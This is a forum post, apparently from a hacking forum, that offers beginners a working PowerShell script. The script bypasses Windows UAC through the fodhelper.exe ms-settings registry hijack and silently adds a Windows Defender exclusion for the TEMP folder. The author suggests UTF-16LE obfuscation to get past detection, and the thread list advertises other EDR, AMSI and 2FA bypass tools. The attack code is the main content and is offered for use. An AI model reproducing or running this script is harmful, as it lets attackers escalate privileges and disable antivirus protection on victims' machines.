win-10 uac bypass add exclusion
by nullvex - Tuesday April 1, 2025 at 12:57 AM
#1
hello here is a little something/ script for some beginners 
this power-shell code is simple yet effective
it adds a windows defender exclusion to the "&env:TEMP" directory

hope you like it.


if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
    $command = "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `"Add-MpPreference -ExclusionPath '$env:Temp'`""

    # Clean up any existing registry entries (silently continue if they don't exist)
    Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyContinue

    New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $command Force

    Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
    Start-Sleep -Seconds 3

    Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyContinue

    Write-Host "Exclusion path '$env:Temp' added to Windows Defender."
} else {
    Add-MpPreference -ExclusionPath "$env:Temp"
    Write-Host "Exclusion path '$env:Temp' added to Windows Defender (already elevated)."
}



its unfortunately detected by windows defender but if added
some kind of obfuscation like (UTF-16LE) it could
help detection rates.

either way use this code to your liking.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Phishing Platform with 2FA bypass support Loki 117 20,473 08-09-2025, 10:13 PM
Last Post: Fuzz3d
  Bypass AV and EDR - Halos Gate from Sektor7 0x01 110 10,179 08-06-2025, 10:55 AM
Last Post: bxxxx1
  PowerShell AMSI Bypass via VEH Loki 37 3,726 03-18-2025, 08:36 PM
Last Post: V1cent
  bypass xdr or edr chimeradoll 3 542 02-22-2025, 08:21 AM
Last Post: 0xGoosed1232
  Bypass Cookies Encryption | Working FrancisMDouble 5 890 02-15-2025, 01:49 AM
Last Post: d4rkd4rkl1ght

Forum Jump:


 Users browsing this thread: 1 Guest(s)